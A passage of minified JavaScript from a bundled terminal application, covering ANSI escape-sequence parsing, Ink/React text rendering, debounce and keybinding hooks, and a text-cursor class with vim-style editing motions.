d",name:T31[H-90+8]},z++;continue}if(H>=100&&H<=107){Y.bg={type:"named",name:T31[H-100+8]},z++;continue}if(H===38){let J=Nq6(q,z);if(J){Y.fg="index"in J?{type:"indexed",index:J.index}:{type:"rgb",...J},z+=w.colon?1:("index"in J)?3:5;continue}}if(H===48){let J=Nq6(q,z);if(J){Y.bg="index"in J?{type:"indexed",index:J.index}:{type:"rgb",...J},z+=w.colon?1:("index"in J)?3:5;continue}}if(H===58){let J=Nq6(q,z);if(J){Y.underlineColor="index"in J?{type:"indexed",index:J.index}:{type:"rgb",...J},z+=w.colon?1:("index"in J)?3:5;continue}}if(H===59){Y.underlineColor={type:"default"},z++;continue}z++}return Y}var T31,Q69;var ZG4=k(()=>{T31=["black","red","green","yellow","blue","magenta","cyan","white","brightBlack","brightRed","brightGreen","brightYellow","brightBlue","brightMagenta","brightCyan","brightWhite"],Q69=["none","single","double","curly","dotted","dashed"]});function p69(A){return A>=9728&&A<=9983||A>=9984&&A<=10175||A>=127744&&A<=129535||A>=129536&&A<=129791||A>=127456&&A<=127487}function d69(A){return A>=4352&&A<=4447||A>=11904&&A<=40959||A>=44032&&A<=55203||A>=63744&&A<=64255||A>=65040&&A<=65055||A>=65072&&A<=65135||A>=65280&&A<=65376||A>=65504&&A<=65510||A>=131072&&A<=196605||A>=196608&&A<=262141}function DG4(A){if([...A].length>1)return 2;let K=A.codePointAt(0);if(K===void 0)return 1;if(p69(K)||d69(K))return 2;return 1}function*jG4(A){if(WG4)for(let{segment:K}of WG4.segment(A))yield{value:K,width:DG4(K)};else for(let K of A)yield{value:K,width:DG4(K)}}function c69(A){if(A==="")return[];return A.split(/[;:]/).map((K)=>K===""?0:parseInt(K,10))}function l69(A){let K=A.slice(2);if(K.length===0)return null;let q=K.charCodeAt(K.length-1),Y=K.slice(0,-1),z="",w=Y,H="";if(Y.length>0&&"?>=".includes(Y[0]))z=Y[0],w=Y.slice(1);let J=w.match(/([^0-9;:]+)$/);if(J)H=J[1],w=w.slice(0,-H.length);let O=c69(w),X=O[0]??1,$=O[1]??1;if(q===NJ.SGR&&z==="")return{type:"sgr",params:w};if(q===NJ.CUU)return{type:"cursor",action:{type:"move",direction:"up",count:X}};if(q===NJ.CUD)return{type:"cursor",action:{type:"move",direction:"down",count:X}};if(q===NJ.CUF)return{type:"cursor",action:{type:"move",direction:"forward",count:X}};if(q===NJ.CUB)return{type:"cursor",action:{type:"move",direction:"back",count:X}};if(q===NJ.CNL)return{type:"cursor",action:{type:"nextLine",count:X}};if(q===NJ.CPL)return{type:"cursor",action:{type:"prevLine",count:X}};if(q===NJ.CHA)return{type:"cursor",action:{type:"column",col:X}};if(q===NJ.CUP||q===NJ.HVP)return{type:"cursor",action:{type:"position",row:X,col:$}};if(q===NJ.VPA)return{type:"cursor",action:{type:"row",row:X}};if(q===NJ.ED)return{type:"erase",action:{type:"display",region:PO4[O[0]??0]??"toEnd"}};if(q===NJ.EL)return{type:"erase",action:{type:"line",region:VO4[O[0]??0]??"toEnd"}};if(q===NJ.ECH)return{type:"erase",action:{type:"chars",count:X}};if(q===NJ.SU)return{type:"scroll",action:{type:"up",count:X}};if(q===NJ.SD)return{type:"scroll",action:{type:"down",count:X}};if(q===NJ.DECSTBM)return{type:"scroll",action:{type:"setRegion",top:X,bottom:$}};if(q===NJ.SCOSC)return{type:"cursor",action:{type:"save"}};if(q===NJ.SCORC)return{type:"cursor",action:{type:"restore"}};if(q===NJ.DECSCUSR&&H===" ")return{type:"cursor",action:{type:"style",...n76[X]??n76[0]}};if(z==="?"&&(q===NJ.SM||q===NJ.RM)){let _=q===NJ.SM;if(X===bZ.CURSOR_VISIBLE)return{type:"cursor",action:_?{type:"show"}:{type:"hide"}};if(X===bZ.ALT_SCREEN_CLEAR||X===bZ.ALT_SCREEN)return{type:"mode",action:{type:"alternateScreen",enabled:_}};if(X===bZ.BRACKETED_PASTE)return{type:"mode",action:{type:"bracketedPaste",enabled:_}};if(X===bZ.MOUSE_NORMAL)return{type:"mode",action:{type:"mouseTracking",mode:_?"normal":"off"}};if(X===bZ.MOUSE_BUTTON)return{type:"mode",action:{type:"mouseTracking",mode:_?"button":"off"}};if(X===bZ.MOUSE_ANY)return{type:"mode",action:{type:"mouseTracking",mode:_?"any":"off"}};if(X===bZ.FOCUS_EVENTS)return{type:"mode",action:{type:"focusEvents",enabled:_}}}return{type:"unknown",sequence:A}}function i69(A){if(A.length<2)return"unknown";if(A.charCodeAt(0)!==yx.ESC)return"unknown";let K=A.charCodeAt(1);if(K===91)return"csi";if(K===93)return"osc";if(K===79)return"ss3";return"esc"}class v31{tokenizer=jXA();style=gXA();inLink=!1;linkUrl;reset(){this.tokenizer.reset(),this.style=gXA(),this.inLink=!1,this.linkUrl=void 0}feed(A){let K=this.tokenizer.feed(A),q=[];for(let Y of K){let z=this.processToken(Y);q.push(...z)}return q}processToken(A){switch(A.type){case"text":return this.processText(A.value);case"sequence":return this.processSequence(A.value)}}processText(A){let K=[],q="";for(let Y of A)if(Y.charCodeAt(0)===yx.BEL){if(q){let z=[...jG4(q)];if(z.length>0)K.push({type:"text",graphemes:z,style:{...this.style}});q=""}K.push({type:"bell"})}else q+=Y;if(q){let Y=[...jG4(q)];if(Y.length>0)K.push({type:"text",graphemes:Y,style:{...this.style}})}return K}processSequence(A){switch(i69(A)){case"csi":{let q=l69(A);if(!q)return[];if(q.type==="sgr")return this.style=GG4(q.params,this.style),[];return[q]}case"osc":{let q=A.slice(2);if(q.endsWith("\x07"))q=q.slice(0,-1);else if(q.endsWith("\x1B\\"))q=q.slice(0,-2);let Y=mX4(q);if(Y){if(Y.type==="link")if(Y.action.type==="start")this.inLink=!0,this.linkUrl=Y.action.url;else this.inLink=!1,this.linkUrl=void 0;return[Y]}return[]}case"esc":{let q=A.slice(1),Y=_G4(q);return Y?[Y]:[]}case"ss3":return[{type:"unknown",sequence:A}];default:return[{type:"unknown",sequence:A}]}}}var WG4;var MG4=k(()=>{O4A();Ix();P4A();SXA();ZG4();W51();WG4=typeof Intl<"u"&&"Segmenter"in Intl?new Intl.Segmenter(void 0,{granularity:"grapheme"}):null});var PG4=k(()=>{MG4()});function n69(A){let q=new v31().feed(A),Y=[],z;for(let w of q){if(w.type==="link"){if(w.action.type==="start")z=w.action.url;else z=void 0;continue}if(w.type==="text"){let H=w.graphemes.map((X)=>X.value).join("");if(!H)continue;let J=r69(w.style);if(z)J.hyperlink=z;let O=Y[Y.length-1];if(O&&a69(O.props,J))O.text+=H;else Y.push({text:H,props:J})}}return Y}function r69(A){let K={};if(A.bold)K.bold=!0;if(A.dim)K.dim=!0;if(A.italic)K.italic=!0;if(A.underline!=="none")K.underline=!0;if(A.strikethrough)K.strikethrough=!0;if(A.inverse)K.inverse=!0;let q=VG4(A.fg);if(q)K.color=q;let Y=VG4(A.bg);if(Y)K.backgroundColor=Y;return K}function VG4(A){switch(A.type){case"named":return o69[A.name];case"indexed":return`ansi256(${A.index})`;case"rgb":return`rgb(${A.r},${A.g},${A.b})`;case"default":return}}function a69(A,K){return A.color===K.color&&A.backgroundColor===K.backgroundColor&&A.bold===K.bold&&A.dim===K.dim&&A.italic===K.italic&&A.underline===K.underline&&A.strikethrough===K.strikethrough&&A.inverse===K.inverse&&A.hyperlink===K.hyperlink}function fG4(A){let K=s(14),q,Y,z,w;if(K[0]!==A)({bold:q,dim:z,children:Y,...w}=A),K[0]=A,K[1]=q,K[2]=Y,K[3]=z,K[4]=w;else q=K[1],Y=K[2],z=K[3],w=K[4];if(z){let J;if(K[5]!==Y||K[6]!==w)J=Qk.default.createElement($G,{...w,dim:!0},Y),K[5]=Y,K[6]=w,K[7]=J;else J=K[7];return J}if(q){let J;if(K[8]!==Y||K[9]!==w)J=Qk.default.createElement($G,{...w,bold:!0},Y),K[8]=Y,K[9]=w,K[10]=J;else J=K[10];return J}let H;if(K[11]!==Y||K[12]!==w)H=Qk.default.createElement($G,{...w},Y),K[11]=Y,K[12]=w,K[13]=H;else H=K[13];return H}function s69(A,K){let{hyperlink:q,...Y}=A.props,z=Object.keys(Y).length>0;if(q)return z?Qk.default.createElement(X7,{key:K,url:q},Qk.default.createElement(fG4,{...Y},A.text)):Qk.default.createElement(X7,{key:K,url:q},A.text);return z?Qk.default.createElement(fG4,{key:K,...Y},A.text):A.text}var Qk,a3,o69;var NG4=k(()=>{cA();LXA();mXA();PG4();Qk=o($A(),1),a3=Qk.default.memo(function(K){let q=s(9),{children:Y}=K;if(typeof Y!=="string"){let O=String(Y),X;if(q[0]!==O)X=Qk.default.createElement($G,null,O),q[0]=O,q[1]=X;else X=q[1];return X}if(Y==="")return null;let z,w,H;if(q[2]!==Y){H=Symbol.for("react.early_return_sentinel");A:{let O=n69(Y);if(O.length===0){H=null;break A}if(O.length===1&&Object.keys(O[0].props).length===0){H=Qk.default.createElement($G,null,O[0].text);break A}z=$G,w=O.map(s69)}q[2]=Y,q[3]=z,q[4]=w,q[5]=H}else z=q[3],w=q[4],H=q[5];if(H!==Symbol.for("react.early_return_sentinel"))return H;let J;if(q[6]!==z||q[7]!==w)J=Qk.default.createElement(z,null,w),q[6]=z,q[7]=w,q[8]=J;else J=q[8];return J});o69={black:"ansi:black",red:"ansi:red",green:"ansi:green",yellow:"ansi:yellow",blue:"ansi:blue",magenta:"ansi:magenta",cyan:"ansi:cyan",white:"ansi:white",brightBlack:"ansi:blackBright",brightRed:"ansi:redBright",brightGreen:"ansi:greenBright",brightYellow:"ansi:yellowBright",brightBlue:"ansi:blueBright",brightMagenta:"ansi:magentaBright",brightCyan:"ansi:cyanBright",brightWhite:"ansi:whiteBright"}});function z_(A){let K=s(4),{count:q}=A,Y=q===void 0?1:q,z;if(K[0]!==Y)z=` `.repeat(Y),K[0]=Y,K[1]=z;else z=K[1];let w;if(K[2]!==z)w=TG4.default.createElement("ink-text",null,z),K[2]=z,K[3]=w;else w=K[3];return w}var TG4;var vG4=k(()=>{cA();TG4=o($A(),1)});var t69;var EG4=k(()=>{cA();FyA();t69=o($A(),1)});var kG4,e69=()=>kG4.useContext(x51),Vr;var E31=k(()=>{BK6();kG4=o($A(),1),Vr=e69});var yG4=v((Eww,RG4)=>{var A89="Expected a function",CG4=NaN,K89="[object Symbol]",q89=/^\s+|\s+$/g,Y89=/^[-+]0x[0-9a-f]+$/i,z89=/^0b[01]+$/i,w89=/^0o[0-7]+$/i,H89=parseInt,J89=typeof global=="object"&&global&&global.Object===Object&&global,O89=typeof self=="object"&&self&&self.Object===Object&&self,X89=J89||O89||Function("return this")(),$89=Object.prototype,_89=$89.toString,G89=Math.max,Z89=Math.min,Tq6=function(){return X89.Date.now()};function W89(A,K,q){var Y,z,w,H,J,O,X=0,$=!1,_=!1,G=!0;if(typeof A!="function")throw TypeError(A89);if(K=LG4(K)||0,vq6(q))$=!!q.leading,_="maxWait"in q,w=_?G89(LG4(q.maxWait)||0,K):w,G="trailing"in q?!!q.trailing:G;function Z(C){var R=Y,x=z;return Y=z=void 0,X=C,H=A.apply(x,R),H}function W(C){return X=C,J=setTimeout(M,K),$?Z(C):H}function D(C){var R=C-O,x=C-X,y=K-R;return _?Z89(y,w-x):y}function j(C){var R=C-O,x=C-X;return O===void 0||R>=K||R<0||_&&x>=w}function M(){var C=Tq6();if(j(C))return P(C);J=setTimeout(M,D(C))}function P(C){if(J=void 0,G&&Y)return Z(C);return Y=z=void 0,H}function f(){if(J!==void 0)clearTimeout(J);X=0,Y=O=z=J=void 0}function N(){return J===void 0?H:P(Tq6())}function T(){var C=Tq6(),R=j(C);if(Y=arguments,z=this,O=C,R){if(J===void 0)return W(O);if(_)return J=setTimeout(M,K),Z(O)}if(J===void 0)J=setTimeout(M,K);return H}return T.cancel=f,T.flush=N,T}function vq6(A){var K=typeof A;return!!A&&(K=="object"||K=="function")}function D89(A){return!!A&&typeof A=="object"}function j89(A){return typeof A=="symbol"||D89(A)&&_89.call(A)==K89}function LG4(A){if(typeof A=="number")return A;if(j89(A))return CG4;if(vq6(A)){var K=typeof A.valueOf=="function"?A.valueOf():A;A=vq6(K)?K+"":K}if(typeof A!="string")return A===0?A:+A;A=A.replace(q89,"");var q=z89.test(A);return q||w89.test(A)?H89(A.slice(2),q?2:8):Y89.test(A)?CG4:+A}RG4.exports=W89});function s9(A,K){let q=uZ.useRef(A);IG4(()=>{q.current=A},[A]),uZ.useEffect(()=>{if(K===null)return;let Y=setInterval(()=>{q.current()},K);return()=>{clearInterval(Y)}},[K])}function SG4(A){let K=uZ.useRef(()=>{throw Error("Cannot call an event handler while rendering.")});return IG4(()=>{K.current=A},[A]),uZ.useCallback((...q)=>{var Y;return(Y=K.current)==null?void 0:Y.call(K,...q)},[K])}function M89(A){let K=uZ.useRef(A);K.current=A,uZ.useEffect(()=>()=>{K.current()},[])}function fr(A,K=500,q){let Y=uZ.useRef();M89(()=>{if(Y.current)Y.current.cancel()});let z=uZ.useMemo(()=>{let w=Eq6.default(A,K,q),H=(...J)=>{return w(...J)};return H.cancel=()=>{w.cancel()},H.isPending=()=>{return!!Y.current},H.flush=()=>{return w.flush()},H},[A,K,q]);return uZ.useEffect(()=>{Y.current=Eq6.default(A,K,q)},[A,K,q]),z}var uZ,Eq6,IG4;var aO=k(()=>{uZ=o($A(),1),Eq6=o(yG4(),1),IG4=typeof window<"u"?uZ.useLayoutEffect:uZ.useEffect});var k31,P89=(A,K={})=>{let{setRawMode:q,internal_exitOnCtrlC:Y,internal_eventEmitter:z}=Vr(),w=SG4(A);k31.useLayoutEffect(()=>{if(K.isActive===!1)return;return q(!0),()=>{q(!1)}},[K.isActive,q]),k31.useEffect(()=>{if(K.isActive===!1)return;let H=(J)=>{let{input:O,key:X}=J;if(!(O==="c"&&X.ctrl)||!Y)w(O,X,J)};return z?.on("input",H),()=>{z?.removeListener("input",H)}},[K.isActive,Y,z,w])},K8;var hG4=k(()=>{E31();aO();k31=o($A(),1),K8=P89});var bG4,V89=()=>bG4.useContext(b51),wIA;var kq6=k(()=>{uK6();bG4=o($A(),1),wIA=V89});var C31;var xG4=k(()=>{B51();E31();C31=o($A(),1)});var f89;var uG4=k(()=>{B51();f89=o($A(),1)});var N89=(A)=>({width:A.yogaNode?.getComputedWidth()??0,height:A.yogaNode?.getComputedHeight()??0}),Cq6;var BG4=k(()=>{Cq6=N89});function C4A(){let A=Uk.useContext(yXA),K=Uk.useRef(null),[q,Y]=Uk.useState(!0),z=Uk.useCallback((H)=>{K.current=H},[]);Uk.useLayoutEffect(()=>{let H=K.current;if(!H?.yogaNode||!A)return;let J=H.yogaNode.getComputedHeight(),O=A.rows,X=H.yogaNode.getComputedTop(),$=0,_=H.yogaNode.getParent();while(_)X+=_.getComputedTop(),$=_.getComputedHeight(),_=_.getParent();let G=X+J,Z=Math.max(0,$-O),W=Z+O,D=G>Z&&X<W;Y(D)});let w=Uk.useMemo(()=>({isVisible:q}),[q]);return[z,w]}var Uk;var mG4=k(()=>{Q51();Uk=o($A(),1)});function yD(){let{isTerminalFocused:A}=gG4.useContext(m51);return A}var gG4;var FG4=k(()=>{mK6();gG4=o($A(),1)});var mA=k(()=>{KG4();FyA();YG4();LXA();RXA();NG4();mXA();vG4();EG4();hG4();kq6();E31();xG4();uG4();BG4();QyA();W4A();$51();lK6();iK6();h51();mG4();FG4()});function by(A,K,q){let Y=Nr.useRef(0),z=Nr.useRef(void 0),w=Nr.useCallback(()=>{if(z.current)clearTimeout(z.current),z.current=void 0},[]);return Nr.useEffect(()=>{return()=>{w()}},[w]),Nr.useCallback(()=>{let H=Date.now();if(H-Y.current<=QG4&&z.current!==void 0)w(),A(!1),K();else q?.(),A(!0),w(),z.current=setTimeout(()=>{A(!1),z.current=void 0},QG4);Y.current=H},[A,K,q,w])}var Nr,QG4=800;var HIA=k(()=>{Nr=o($A(),1)});function UG4(A,K,q){let{exit:Y}=wIA(),[z,w]=Tr.useState({pending:!1,keyName:null}),H=Tr.useMemo(()=>q??Y,[q,Y]),J=by((G)=>w({pending:G,keyName:"Ctrl-C"}),H),O=by((G)=>w({pending:G,keyName:"Ctrl-D"}),H),X=Tr.useCallback(()=>{if(K?.())return;J()},[J,K]),$=Tr.useCallback(()=>{O()},[O]),_=Tr.useMemo(()=>({"app:interrupt":X,"app:exit":$}),[X,$]);return A(_,{context:"Global"}),z}var Tr;var pG4=k(()=>{HIA();kq6();Tr=o($A(),1)});function J6(A,K,q={}){let{context:Y="Global",isActive:z=!0}=q,w=mk();FXA.useEffect(()=>{if(!w||!z)return;return w.registerHandler({action:A,context:Y,handler:K})},[A,Y,K,w,z]);let H=FXA.useCallback((J,O,X)=>{if(!w)return;let $=[...w.activeContexts,Y,"Global"],_=[...new Set($)],G=w.resolve(J,O,_);switch(G.type){case"match":if(w.setPendingChord(null),G.action===A)K(),X.stopImmediatePropagation();break;case"chord_started":w.setPendingChord(G.pending),X.stopImmediatePropagation();break;case"chord_cancelled":w.setPendingChord(null);break;case"unbound":w.setPendingChord(null),X.stopImmediatePropagation();break;case"none":break}},[A,Y,K,w]);K8(H,{isActive:z})}function s4(A,K={}){let{context:q="Global",isActive:Y=!0}=K,z=mk();FXA.useEffect(()=>{if(!z||!Y)return;let H=[];for(let[J,O]of Object.entries(A))H.push(z.registerHandler({action:J,context:q,handler:O}));return()=>{for(let J of H)J()}},[q,A,z,Y]);let w=FXA.useCallback((H,J,O)=>{if(!z)return;let X=[...z.activeContexts,q,"Global"],$=[...new Set(X)],_=z.resolve(H,J,$);switch(_.type){case"match":if(z.setPendingChord(null),_.action in A){let G=A[_.action];if(G)G(),O.stopImmediatePropagation()}break;case"chord_started":z.setPendingChord(_.pending),O.stopImmediatePropagation();break;case"chord_cancelled":z.setPendingChord(null);break;case"unbound":z.setPendingChord(null),O.stopImmediatePropagation();break;case"none":break}},[q,A,z]);K8(w,{isActive:Y})}var FXA;var C8=k(()=>{mA();SQ();FXA=o($A(),1)});function n8(A,K){return UG4(s4,K,A)}var Iq=k(()=>{pG4();C8()});function bQ(A,K="append"){if(A.length>0){if(Lq6&&pk.length>0)if(K==="prepend")pk[0]=A+pk[0];else pk[0]=pk[0]+A;else if(pk.unshift(A),pk.length>T89)pk.pop();Lq6=!0,y31=!1}}function I31(){return pk[0]??""}function OIA(){Lq6=!1}function S31(A,K){dG4=A,yq6=K,y31=!0,L31=0}function h31(){if(!y31||pk.length<=1)return null;return L31=(L31+1)%pk.length,{text:pk[L31]??"",start:dG4,length:yq6}}function b31(A){yq6=A}function XIA(){y31=!1}class pq{measuredText;selection;offset;constructor(A,K=0,q=0){this.measuredText=A;this.selection=q;this.offset=Math.max(0,Math.min(this.text.length,K))}static fromText(A,K,q=0,Y=0){return new pq(new cG4(A,K-1),q,Y)}render(A,K,q,Y){let{line:z,column:w}=this.getPosition();return this.measuredText.getWrappedText().map((H,J,O)=>{let X=H;if(K&&J===O.length-1){let M=Math.max(0,H.length-6);X=K.repeat(M)+H.slice(M)}if(z!==J)return X.trimEnd();let $=this.measuredText.displayWidthToStringIndex(X,w),_=Array.from(Rq6.segment(X)).map(({segment:M,index:P})=>({segment:M,index:P})),G="",Z=A,W="";for(let{segment:M,index:P}of _){let f=P+M.length;if(f<=$)G+=M;else if(P<$&&f>$)Z=M;else if(P===$)Z=M;else W+=M}let D,j="";if(Y&&J===O.length-1&&this.isAtEnd()&&Y.text.length>0){let M=Y.text[0];if(D=A?q(M):M,Y.text.length>1)j=Y.dim(Y.text.slice(1))}else D=A?q(Z):Z;return G+D+j+W.trimEnd()}).join(` `)}left(){if(this.offset===0)return this;let A=this.measuredText.prevOffset(this.offset);return new pq(this.measuredText,A)}right(){if(this.offset>=this.text.length)return this;let A=this.measuredText.nextOffset(this.offset);return new pq(this.measuredText,Math.min(A,this.text.length))}up(){let{line:A,column:K}=this.getPosition();if(A===0)return this;let q=this.measuredText.getWrappedText()[A-1];if(!q)return this;let Y=j7(q);if(K>Y){let w=this.getOffset({line:A-1,column:Y});return new pq(this.measuredText,w,0)}let z=this.getOffset({line:A-1,column:K});return new pq(this.measuredText,z,0)}down(){let{line:A,column:K}=this.getPosition();if(A>=this.measuredText.lineCount-1)return this;let q=this.measuredText.getWrappedText()[A+1];if(!q)return this;let Y=j7(q);if(K>Y){let w=this.getOffset({line:A+1,column:Y});return new pq(this.measuredText,w,0)}let z=this.getOffset({line:A+1,column:K});return new pq(this.measuredText,z,0)}startOfCurrentLine(){let{line:A}=this.getPosition();return new pq(this.measuredText,this.getOffset({line:A,column:0}),0)}startOfLine(){let{line:A,column:K}=this.getPosition();if(K===0&&A>0)return new pq(this.measuredText,this.getOffset({line:A-1,column:0}),0);return this.startOfCurrentLine()}firstNonBlankInLine(){let{line:A}=this.getPosition(),q=(this.measuredText.getWrappedText()[A]||"").match(/^\s*\S/),Y=q?.index?q.index+q[0].length-1:0,z=this.getOffset({line:A,column:Y});return new pq(this.measuredText,z,0)}endOfLine(){let{line:A}=this.getPosition(),K=this.measuredText.getLineLength(A),q=this.getOffset({line:A,column:K});return new pq(this.measuredText,q,0)}findLogicalLineStart(A=this.offset){let K=this.text.lastIndexOf(` `,A-1);return K===-1?0:K+1}findLogicalLineEnd(A=this.offset){let K=this.text.indexOf(` `,A);return K===-1?this.text.length:K}getLogicalLineBounds(){return{start:this.findLogicalLineStart(),end:this.findLogicalLineEnd()}}createCursorWithColumn(A,K,q){let Y=K-A,z=Math.min(q,Y);return new pq(this.measuredText,A+z,0)}endOfLogicalLine(){return new pq(this.measuredText,this.findLogicalLineEnd(),0)}startOfLogicalLine(){return new pq(this.measuredText,this.findLogicalLineStart(),0)}firstNonBlankInLogicalLine(){let{start:A,end:K}=this.getLogicalLineBounds(),Y=this.text.slice(A,K).match(/\S/),z=A+(Y?.index??0);return new pq(this.measuredText,z,0)}upLogicalLine(){let{start:A}=this.getLogicalLineBounds();if(A===0)return new pq(this.measuredText,0,0);let K=this.offset-A,q=A-1,Y=this.findLogicalLineStart(q);return this.createCursorWithColumn(Y,q,K)}downLogicalLine(){let{start:A,end:K}=this.getLogicalLineBounds();if(K>=this.text.length)return new pq(this.measuredText,this.text.length,0);let q=this.offset-A,Y=K+1,z=this.findLogicalLineEnd(Y);return this.createCursorWithColumn(Y,z,q)}nextWord(){if(this.isAtEnd())return this;let A=this.measuredText.getWordBoundaries();for(let K of A)if(K.isWordLike&&K.start>this.offset)return new pq(this.measuredText,K.start);return new pq(this.measuredText,this.text.length)}endOfWord(){if(this.isAtEnd())return this;let A=this.measuredText.getWordBoundaries();for(let K of A){if(!K.isWordLike)continue;if(this.offset>=K.start&&this.offset<K.end-1)return new pq(this.measuredText,K.end-1);if(this.offset===K.end-1){for(let q of A)if(q.isWordLike&&q.start>this.offset)return new pq(this.measuredText,q.end-1);return this}}for(let K of A)if(K.isWordLike&&K.start>this.offset)return new pq(this.measuredText,K.end-1);return this}prevWord(){if(this.isAtStart())return this;let A=this.measuredText.getWordBoundaries(),K=null;for(let q of A){if(!q.isWordLike)continue;if(q.start<this.offset){if(this.offset>q.start&&this.offset<=q.end)return new pq(this.measuredText,q.start);K=q.start}}if(K!==null)return new pq(this.measuredText,K);return new pq(this.measuredText,0)}nextVimWord(){if(this.isAtEnd())return this;let A=this.text,K=this.offset,q=A[K];if(q===void 0)return this;if(hQ(q))while(K<A.length&&hQ(A[K]))K++;else if(vr(q))while(K<A.length&&vr(A[K]))K++;while(K<A.length&&JIA.test(A[K]))K++;return new pq(this.measuredText,K)}endOfVimWord(){if(this.isAtEnd())return this;let A=this.text,K=this.offset;if(A[K]===void 0)return this;K++;while(K<A.length&&JIA.test(A[K]))K++;if(K>=A.length)return new pq(this.measuredText,A.length);let Y=A[K];if(hQ(Y))while(K<A.length-1&&hQ(A[K+1]))K++;else if(vr(Y))while(K<A.length-1&&vr(A[K+1]))K++;return new pq(this.measuredText,K)}prevVimWord(){if(this.isAtStart())return this;let A=this.text,K=this.offset;K--;while(K>0&&JIA.test(A[K]))K--;if(K===0&&JIA.test(A[0]))return new pq(this.measuredText,0);let q=A[K];if(hQ(q))while(K>0&&hQ(A[K-1]))K--;else if(vr(q))while(K>0&&vr(A[K-1]))K--;return new pq(this.measuredText,K)}nextWORD(){let A=this;while(!A.isOverWhitespace()&&!A.isAtEnd())A=A.right();while(A.isOverWhitespace()&&!A.isAtEnd())A=A.right();return A}endOfWORD(){if(this.isAtEnd())return this;let A=this;if(!A.isOverWhitespace()&&(A.right().isOverWhitespace()||A.right().isAtEnd()))return A=A.right(),A.endOfWORD();if(A.isOverWhitespace())A=A.nextWORD();while(!A.right().isOverWhitespace()&&!A.isAtEnd())A=A.right();return A}prevWORD(){let A=this;if(A.left().isOverWhitespace())A=A.left();while(A.isOverWhitespace()&&!A.isAtStart())A=A.left();if(!A.isOverWhitespace())while(!A.left().isOverWhitespace()&&!A.isAtStart())A=A.left();return A}modifyText(A,K=""){let q=this.offset,Y=A.offset,z=this.text.slice(0,q)+K+this.text.slice(Y);return pq.fromText(z,this.columns,q+K.normalize("NFC").length)}insert(A){return this.modifyText(this,A)}del(){if(this.isAtEnd())return this;return this.modifyText(this.right())}backspace(){if(this.isAtStart())return this;return this.left().modifyText(this)}deleteToLineStart(){let A=this.startOfCurrentLine(),K=this.text.slice(A.offset,this.offset);return{cursor:A.modifyText(this),killed:K}}deleteToLineEnd(){if(this.text[this.offset]===` `)return{cursor:this.modifyText(this.right()),killed:` `};let A=this.endOfLine(),K=this.text.slice(this.offset,A.offset);return{cursor:this.modifyText(A),killed:K}}deleteToLogicalLineEnd(){if(this.text[this.offset]===` `)return this.modifyText(this.right());return this.modifyText(this.endOfLogicalLine())}deleteWordBefore(){if(this.isAtStart())return{cursor:this,killed:""};let A=this.prevWord(),K=this.text.slice(A.offset,this.offset);return{cursor:A.modifyText(this),killed:K}}deleteTokenBefore(){if(this.isAtStart())return null;let A=this.text[this.offset];if(A!==void 0&&!/\s/.test(A))return null;let q=this.text.slice(0,this.offset).match(/(^|\s)\[(Pasted text #\d+(?: \+\d+ lines)?|\.\.\.Truncated text #\d+ \+\d+ lines\.\.\.)\]$/);if(q){let Y=q.index+q[1].length;return new pq(this.measuredText,Y).modifyText(this)}return null}deleteWordAfter(){if(this.isAtEnd())return this;return this.modifyText(this.nextWord())}isOverWhitespace(){let A=this.text[this.offset]??"";return/\s/.test(A)}equals(A){return this.offset===A.offset&&this.measuredText===A.measuredText}isAtStart(){return this.offset===0}isAtEnd(){return this.offset>=this.text.length}startOfFirstLine(){return new pq(this.measuredText,0,0)}startOfLastLine(){let A=this.text.lastIndexOf(` `);if(A===-1)return this.startOfLine();return new pq(this.measuredText,A+1,0)}goToLine(A){let K=this.text.split(` `),q=Math.min(Math.max(0,A-1),K.length-1),Y=0;for(let z=0;z<q;z++)Y+=(K[z]?.length??0)+1;return new pq(this.measuredText,Y,0)}endOfFile(){return new pq(this.measuredText,this.text.length,0)}get text(){return this.measuredText.text}get columns(){return this.measuredText.columns+1}getPosition(){return this.measuredText.getPositionFromOffset(this.offset)}getOffset(A){return this.measuredText.getOffsetFromPosition(A)}findCharacter(A,K,q=1){let Y=this.text,z=K==="f"||K==="t",w=K==="t"||K==="T",H=0;if(z){for(let J=this.offset+1;J<Y.length;J++)if(Y[J]===A){if(H++,H===q)return w?Math.max(this.offset,J-1):J}}else for(let J=this.offset-1;J>=0;J--)if(Y[J]===A){if(H++,H===q)return w?Math.min(this.offset,J+1):J}return null}}class R31{text;startOffset;isPrecededByNewline;endsWithNewline;constructor(A,K,q,Y=!1){this.text=A;this.startOffset=K;this.isPrecededByNewline=q;this.endsWithNewline=Y}equals(A){return this.text===A.text&&this.startOffset===A.startOffset}get length(){return this.text.length+(this.endsWithNewline?1:0)}}class cG4{columns;_wrappedLines;text;navigationCache;graphemeBoundaries;constructor(A,K){this.columns=K;this.text=A.normalize("NFC"),this.navigationCache=new Map}get wrappedLines(){if(!this._wrappedLines)this._wrappedLines=this.measureWrappedText();return this._wrappedLines}getGraphemeBoundaries(){if(!this.graphemeBoundaries){this.graphemeBoundaries=[];for(let{index:A}of Rq6.segment(this.text))this.graphemeBoundaries.push(A);this.graphemeBoundaries.push(this.text.length)}return this.graphemeBoundaries}wordBoundariesCache;getWordBoundaries(){if(!this.wordBoundariesCache){this.wordBoundariesCache=[];for(let A of v89.segment(this.text))this.wordBoundariesCache.push({start:A.index,end:A.index+A.segment.length,isWordLike:A.isWordLike??!1})}return this.wordBoundariesCache}binarySearchBoundary(A,K,q){let Y=0,z=A.length-1,w=q?this.text.length:0;while(Y<=z){let H=Math.floor((Y+z)/2),J=A[H];if(J===void 0)break;if(q)if(J>K)w=J,z=H-1;else Y=H+1;else if(J<K)w=J,Y=H+1;else z=H-1}return w}stringIndexToDisplayWidth(A,K){if(K<=0)return 0;if(K>=A.length)return j7(A);return j7(A.substring(0,K))}displayWidthToStringIndex(A,K){if(K<=0)return 0;if(!A)return 0;if(A===this.text)return this.offsetAtDisplayWidth(K);let q=0,Y=0;for(let{segment:z,index:w}of Rq6.segment(A)){let H=j7(z);if(q+H>K)break;q+=H,Y=w+z.length}return Y}offsetAtDisplayWidth(A){if(A<=0)return 0;let K=0,q=this.getGraphemeBoundaries();for(let Y=0;Y<q.length-1;Y++){let z=q[Y],w=q[Y+1];if(z===void 0||w===void 0)continue;let H=this.text.substring(z,w),J=j7(H);if(K+J>A)return z;K+=J}return this.text.length}measureWrappedText(){let A=zr(this.text,this.columns,{hard:!0,trim:!1}),K=[],q=0,Y=-1,z=A.split(` `);for(let w=0;w<z.length;w++){let H=z[w],J=(O)=>w===0||O>0&&this.text[O-1]===` `;if(H.length===0)if(Y=this.text.indexOf(` `,Y+1),Y!==-1){let O=Y,X=!0;K.push(new R31(H,O,J(O),!0))}else{let O=this.text.length;K.push(new 